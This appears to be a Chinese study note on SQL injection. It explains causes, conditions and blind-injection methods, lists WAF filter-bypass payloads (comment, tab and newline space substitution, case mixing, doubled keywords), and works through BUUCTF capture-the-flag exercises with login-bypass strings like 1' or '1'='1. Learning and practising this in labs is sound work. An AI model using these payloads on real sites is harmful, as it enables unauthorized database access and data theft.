sql注入漏洞
1.什么是SQL
结构化查询语言(Structured Query Language)

SQL和数据库有关。静态网站没有数据库,SQL注入也无从谈起。
2.网站流程分析
1.IP地址
一个域名--多个IP√
多个域名--一个IP√
2.端口。
https 默认端口443
http 默认端口80
3.域名。

二级域名。www约定俗称的二级子域名。一般代表首页
4.ping

8.8.8.8谷歌DNS服务器
114.114.114.114移动电信联通三家合服务器
5.项目架构

前端服务器只负责展示。不能直接访问数据库。要和业务逻辑层任务明确分开。
3.SQL注入漏洞产生原因及危害
SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。
SQL注入漏洞可能会造成服务器的数据库信息泄露、数据被窃取、网页被篡改等!!
web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句,如查询数据、下载数据,写webshell、执行系统命令以此来绕过登录权限限制等。
4.注入条件
SQL 注入需要满足以下两个条件:
1.参数可控:从前端传给后端的参数内容是用户可以控制的
2.参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
5.盲注
1.布尔盲注
没有返回SQL执行的错误信息
错误与正确的输入,返回的结果只有两种
使用布尔类型盲注的操作步骤:
- 构造目标查询语句
- 选择拼接方式
- 构造判断表达式
- 提取数据长度
- 提取数据内容
2.时间盲注
页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。
时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。
时间类型盲注的注意事项
- 通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
- 为了提高效率,通常在表达式判断为真时执行延时语句。
- 时间盲注语句拼接时无特殊要求,保证语法正确即可。
6.SQL注入绕过
空格过滤绕过
/**/绕过
MySQL数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句就可以正常运行。例如:
http://192.168.40.1/index.php?id=1/**
/1=2/**
/union/**
/select/**/1,2,database()
制表符绕过
在MySQL数据库中可以用制表符来代替空格,将空格用制表符代替后,SQL语句就可以正常运行。制表符是不可见的,在URL传输中需要编码,其URL编码为%09。例如:
http://192.168.40.1/index.php?id=1%091=2%09union%09select%091,2,database()
换行符绕过
MySQL数据库支持换行执行SQL语句,可以利用换行符代替空格,换行符也是不可见字符,其URL编码为%0a。
http://192.168.40.1/index.php?id=1%0a1=2%0aunion%0aselect%0a1,2,database()
大小写绕过
根据应用程序的过滤规则中可能存在过滤不完整或者之过滤小写或者大写的情况,此时我们就可以利用大小写混写。
http://192.168.40.1/index.php?id=1 and 1=2 union seLeCt 1,2,database()
双写关键字绕过
测试代码如下:
http://192.168.40.1/index.php?id=1 and 1=2 union seselectlect
1,2,database()
等价函数字符替换绕过
1.用like或in代替=
http://192.168.40.1/index.php?id=1 and 1 like 1
2.等价函数
sleep函数可以用benchmark函数代替。 ascii函数可以用hex、bin函数代替
题目:
1.[极客大挑战 2019]EasySQL
http://8d69fb25-c4cd-4a84-ac29-ae00c9c448d7.node4.buuoj.cn:81




# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
再次输入


成功
大佬的讲法:https://blog.csdn.net/qq_45925514/article/details/124748420
测试的时候输入了 1’ and ‘1’=1这个有问题的payload,看报错信息中带有一个 and password=‘1’ and ‘1’=1 说明sql语句是SELECT * FROM tables WHERE username=‘1’ and ‘1’=1 and password=‘1’ and ‘1’=1 类似这样的查询,and 的两边同时为TRUE 结果才能为 TRUE,所以输入的payload一定要符合这个条件就可以登录成功了。
# payload SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1' # 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or username='1'--->false '1'='1'---> true passwrod='1'--->false '1'='1'--->true false or (true and false) or true false or false or true false or true #得出结果:true
# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1
# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1
# 本质上都是利用 and 和 or 的优先级进行判断,只要返回 TRUE 就没问题
2.[SUCTF 2019]EasySQL
试一下1:


试一下字符型:

试一下字母:

最后还是看了大佬们的解析 (37条消息) [SUCTF 2019]EasySQL1_番茄酱料的博客-CSDN博客


3.[HCTF 2018]WarmUp

查看源代码

还是不太会做

浙公网安备 33010602011771号